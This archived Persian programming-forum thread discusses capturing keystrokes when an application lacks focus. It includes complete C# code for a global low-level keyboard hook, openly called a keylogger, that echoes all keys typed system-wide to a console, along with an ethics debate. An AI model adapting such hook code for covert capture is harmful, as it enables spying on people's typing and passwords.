PDA

View Full Version : سوال: چطور كليدهاي زده شده را تشخيص دهيم حتي اگه فوكاس رو فرم نباشه ؟



eiman_ghasemy
یک شنبه 04 بهمن 1388, 09:07 صبح
سلام
خسته نباشيد

مي خواستم بدونم چطورمي تونم تمام كليد هاي زده شده را تشخيص بدم حتي زماني كه فوكاس رو فرم نباشه ؟

ممنون

sky_in_iran
یک شنبه 04 بهمن 1388, 10:04 صبح
سلام دوست عزيز
فكر نمي كنم امكان اين باشه كه شما بخواهيد روي فرمي كه فوكوس نيست اصلان كليدي و بزنيد چه برسه به اينكه حالا تشخيص بدي چه كليدي بوده لطف كن بيشتر توضيح بده كه منظورت از سوالت چيه مثال بزن
ممنون موفق و پيروز باشيد

CYCLOPS
یک شنبه 04 بهمن 1388, 10:14 صبح
می خواستم بدونم چطورمی تونم تمام کلید های زده شده را تشخیص بدم حتی زمانی که فوکاس رو فرم نباشه ؟



فکر نمی کنم امکان این باشه که شما بخواهید روی فرمی که فوکوس نیست اصلان کلیدی و بزنید چه برسه به اینکه حالا تشخیص بدی چه کلیدی بوده


این کار شدنی هست برنامه های جاسوس کیبرد هم همین کار رو میکنند یه جا برنامه نمونه دیده بودم نمیدونم تو همین سایت بود یا CodeProject بگرد اگر پیدا نکردی بگو بگردم برات پیدا کنم

sia_2007
یک شنبه 04 بهمن 1388, 12:58 عصر
این کار اسمش جاسوسیه دوست عزیز

Netsky
یک شنبه 04 بهمن 1388, 13:46 عصر
سلام به همگی .
دوست عزیز باید از توابع API استفاده کنی . یه چنین برنامه ای چند مدت قبل نوشته بودم . هرچی میگردم پیداش نمیکنم . گفتم حداقل یه راهنمایی بکنم .
البته اگه برنامه رو پیدا کردم حتما میزارم .
بای بای ....................

SMRAH1
یک شنبه 04 بهمن 1388, 14:20 عصر
سلام
اسم این برنامه ها Key Logger است.با اولین جستجو در گوگل ،نمونه های بسیاری پیدا خواهی کرد.
موفق باشی

اَرژنگ
یک شنبه 04 بهمن 1388, 14:23 عصر
این به غیراستفاده برایه جاسوسی بر کاربر فایده دیگری هم دارد؟
اگر ممکن یکی یک مثال از جایی که این کار برایه خیر استفاده میشه بزند.

ممنون

sia_2007
یک شنبه 04 بهمن 1388, 14:42 عصر
مثال خیر اصلا معنی نداره
شاید اپراتور نخواد بذاره شما بدونین که چه کلماتی رو داره تایپ میکنه

CYCLOPS
یک شنبه 04 بهمن 1388, 15:03 عصر
مثال خیر اصلا معنی نداره



این به غیراستفاده برایه جاسوسی بر کاربر فایده دیگری هم دارد؟
اگر ممکن یکی یک مثال از جایی که این کار برایه خیر استفاده میشه بزند.


مثال خیر خواهانه :
من میخوام پست هایی که مثلا تو سایت برنامه نویس میزنم رو از همه اش یه نسخه داشته باشم
یه راه چیه ؟؟ هر متنی مینویسم کپی پیست کنم (ابتدایی ترین و سخت ترین راه کلی فایل نامرتب و بی معنی و زمان تلف شده میشه نتیجه ی این روش)
راه دیگه اش چیه ؟؟
یه Key Logger میسازم و مثلا یه شورتکات خوشگل هم واسش میذارم (مثلا CTRL+B) اینجوری هر موقع خواستم تو برنامه نویس پست بزنم برنامه رو اجرا میکنم و راحت متنم رو تایپ میکنم بعد از ارسال پست هم با یه شورتکات خوشگل دیگه برنامه رو میبندم و برنامه همه متن های منو save میکنه اینطوری هم کلی کپی پیست نکردم و هم همیشه یه نسخه از متن هام رو دارم میشه با ابزارهای گزارش سازی یه برنامه کاربردی و باحال از همین در آورد .



شاید اپراتور نخواد بذاره شما بدونین که چه کلماتی رو داره تایپ میکنه
اگر نمیخواد برنامه رو نصب یا اجرا نکنه یا آنتی ویروسش رو آپدیت کنه تا حتی ناخواسته هم همچین فایلی روی سیستمش اجرا نشه

هر چیزی رو میشه در راه مثبت هم استفاده کرد مهم اینه که بخوای . . . :چشمک:

CYCLOPS
یک شنبه 04 بهمن 1388, 15:26 عصر
دوستان به جای این بحثا و اینکه این موضوع کجا استفاده میشه بهتره اگر راه حلی برای سوال تاپیک میدونید بگید
مسئولیت اینکه برنامه نویس میخواد از این موضوع کجا استفاده کنه و برای چه کاری به عهده خود فرد است
:چشمک:

راه حلی که من به ذهنم میرسه و دوستان هم گفتند استفاده از توابع API هست

SMRAH1
یک شنبه 04 بهمن 1388, 20:07 عصر
سلام
1) از اونجایی که گفته شد این برنامه باید از API استفاده کنه،در نتیجه (نظر شخصی من است) بهتره از اینگونه کد ها در #C پرهیز بشه (چون اگر لازم بود #C این گونه کارها رو هم انجام بده قطعا قابلیت هایی مثل این رو به صورت داخلی براش تعریف می کردند و ... نه اینکه به ویندوز وابسته بشه - در ضمن یکی از اهداف مهم #C اینکه مستقل از پلتفرم باشه).
2) اینگونه کد ها رو در برنامه های Visual C به وفور می تونید بیابید (یک نگاه کوتاه به CodeProject تایید این نکته است).
3) کسی که می خواهد برنامه نویسی API بکنه (به نظر من) باید حداقل اطلاعات رو از VC داشته باشه و با اون بتونه کد بنویسه.
4) اگر نکته قبل رو رعایت کرده باشید،ترجمه VC به #C کار سختی نیست (هر چند باید کمی تجربه داشته باشید و دفعه اول کمی سخت خواهد بود).
5)با یک جستجوی ساده (عبارت Key logger in #C رو توی گوگل جستجو کنید) ،کد هایی زیادی بدست می یاد که این (http://www.scratchprojects.com/2008/09/csharp_keylogger_p01.php)دومی لینکی بود که به من داد (این صفحه یک آموزش گام به گام انگلیسی ساده است در 7 صفحه،کلید Next گوشه پایین صفحه رو باید بزنید تا به صفحه بعد برید)
6) اگر حوصله ندارید متن قسمت قبل رو بخونید کافیه مراحل زیر رو دنبال کنید (این همون مثال است با کمی تغییر):
الف) یک پروژه Console بسازید
ب) اسمبلی System.Windows.Form رو به Reference پروژه اضافه کنید
ج) کد پایین رو در فایل اصلی پروژه کپی کنید.


using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Windows.Forms;

namespace KL
{
class Program
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

public static byte caps = 0, shift = 0;

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

static void Main(string[] args)
{
_hookID = SetHook(_proc);
Application.Run();
}

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
if (Keys.Shift == Control.ModifierKeys)
shift = 1;

switch ((Keys)vkCode)
{
case Keys.Space:
Console.Write("SPACE");
break;
case Keys.Return:
Console.WriteLine("");
break;
case Keys.Back:
Console.Write("back");
break;
case Keys.Tab:
Console.Write("TAB");
break;
case Keys.D0:
if (shift == 0) Console.Write("0");
else Console.Write(")");
break;
case Keys.D1:
if (shift == 0) Console.Write("1");
else Console.Write("!");
break;
case Keys.D2:
if (shift == 0) Console.Write("2");
else Console.Write("@");
break;
case Keys.D3:
if (shift == 0) Console.Write("3");
else Console.Write("#");
break;
case Keys.D4:
if (shift == 0) Console.Write("4");
else Console.Write("$");
break;
case Keys.D5:
if (shift == 0) Console.Write("5");
else Console.Write("%");
break;
case Keys.D6:
if (shift == 0) Console.Write("6");
else Console.Write("^");
break;
case Keys.D7:
if (shift == 0) Console.Write("7");
else Console.Write("&");
break;
case Keys.D8:
if (shift == 0) Console.Write("8");
else Console.Write("*");
break;
case Keys.D9:
if (shift == 0) Console.Write("9");
else Console.Write("(");
break;
case Keys.LShiftKey:
case Keys.RShiftKey:
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
case Keys.Apps:
Console.Write("");
break;
case Keys.OemQuestion:
if (shift == 0) Console.Write("/");
else Console.Write("?");
break;
case Keys.OemOpenBrackets:
if (shift == 0) Console.Write("[");
else Console.Write("{");
break;
case Keys.OemCloseBrackets:
if (shift == 0) Console.Write("]");
else Console.Write("}");
break;
case Keys.Oem1:
if (shift == 0) Console.Write(";");
else Console.Write(":");
break;
case Keys.Oem7:
if (shift == 0) Console.Write("'");
else Console.Write('"');
break;
case Keys.Oemcomma:
if (shift == 0) Console.Write(",");
else Console.Write("<");
break;
case Keys.OemPeriod:
if (shift == 0) Console.Write(".");
else Console.Write(">");
break;
case Keys.OemMinus:
if (shift == 0) Console.Write("-");
else Console.Write("_");
break;
case Keys.Oemplus:
if (shift == 0) Console.Write("=");
else Console.Write("+");
break;
case Keys.Oemtilde:
if (shift == 0) Console.Write("`");
else Console.Write("~");
break;
case Keys.Oem5:
Console.Write("|");
break;
case Keys.Capital:
if (caps == 0) caps = 1;
else caps = 0;
break;
case Keys.PrintScreen:
ProcessStartInfo si = new ProcessStartInfo("Explorer.exe", "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}::");
Process myApp = new Process();
myApp.StartInfo = si;
myApp.Start();
break;
case Keys.Pause:
UnhookWindowsHookEx(_hookID);
Application.Exit();
break;
default:
if (shift == 0 && caps == 0) Console.Write(((Keys)vkCode).ToString().ToLower()) ;
if (shift == 1 && caps == 0) Console.Write(((Keys)vkCode).ToString().ToUpper()) ;
if (shift == 0 && caps == 1) Console.Write(((Keys)vkCode).ToString().ToUpper()) ;
if (shift == 1 && caps == 1) Console.Write(((Keys)vkCode).ToString().ToLower()) ;
break;
} //end of switch
shift = 0;
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
} //end of HookCallback method
}
}

د) برنامه رو کامپایل و سپس اجرا کنید.
ه) هر جا (در هر برنامه ای) شما کلیدی رو بزنید در صفحه کنسول این برنامه یک عبارت (کلید یا متنی معادل آن) اضافه خواهد شد.
و) برای تفریح هم شده کلید Print Screen رو بزنید تا ببینید چی میشه (این در جواب اونهایی که شک دارن بشه استفاده خوبی از این قابلیت کرد)
ز) برای خروج از برنامه کلید Pause رو بزنید
توضیح اینکه کلید های Print Screen و Pause در بالای کلید های Insert و PageUp قرار دارند.

توضیح کد رو نخواهید که باید حتما برنامه نویسی VC باشید تا حوصله شنیدنش رو داشته باشید. (فلسفه کلی کد، Hook کردن WH_KEYBOARD_LL است با استفاده از توابع SetWindowsHookEx و UnhookWindowsHookEx و بطور کلی با Hook کردن شما می تونید حتی رفتار کیبورد،موس و .. رو نیز زیر نظر بگیرید)
موفق باشید

eiman_ghasemy
دوشنبه 05 بهمن 1388, 07:12 صبح
ممنون از برنامتون
كليد هاي ALT,SHIFT,CTRL را تشخيص نمي ده همينجور كليدهايي كه با هم تركيب مي شن مثلا TAB+Q
ميشه يه راه حل واسه مشكلات بالا ارائه كنيد ؟
ممنون

خود سی شارپ توابعی یا کلاسی نداره که بشه باش این کار رو انجام داد و از api ها استفاده نکرد ؟

ehsanes
دوشنبه 05 بهمن 1388, 09:51 صبح
سلام

بهتر که از #c استفاده نکنی من این کار در vb انجام دادم اگه خواستی بگو اموزش کامل برات بزارم

FastCode
دوشنبه 05 بهمن 1388, 10:22 صبح
ممنون از برنامتون
کلید های ALT,SHIFT,CTRL را تشخیص نمی ده همینجور کلیدهایی که با هم ترکیب می شن مثلا TAB+Q
میشه یه راه حل واسه مشکلات بالا ارائه کنید ؟
ممنون

خود سی شارپ توابعی یا کلاسی نداره که بشه باش این کار رو انجام داد و از api ها استفاده نکرد ؟

اگر کد رو میخوندید میفهمیدید که Alt و Ctrl و Shift رو تشخیص میده.فقط باید برای alt و ctrl هر کدام 1 خط بنویسید تا توی output بتونید اونها رو ببینید.
در ضمن TAB+Q کلید ترکیبی نیست.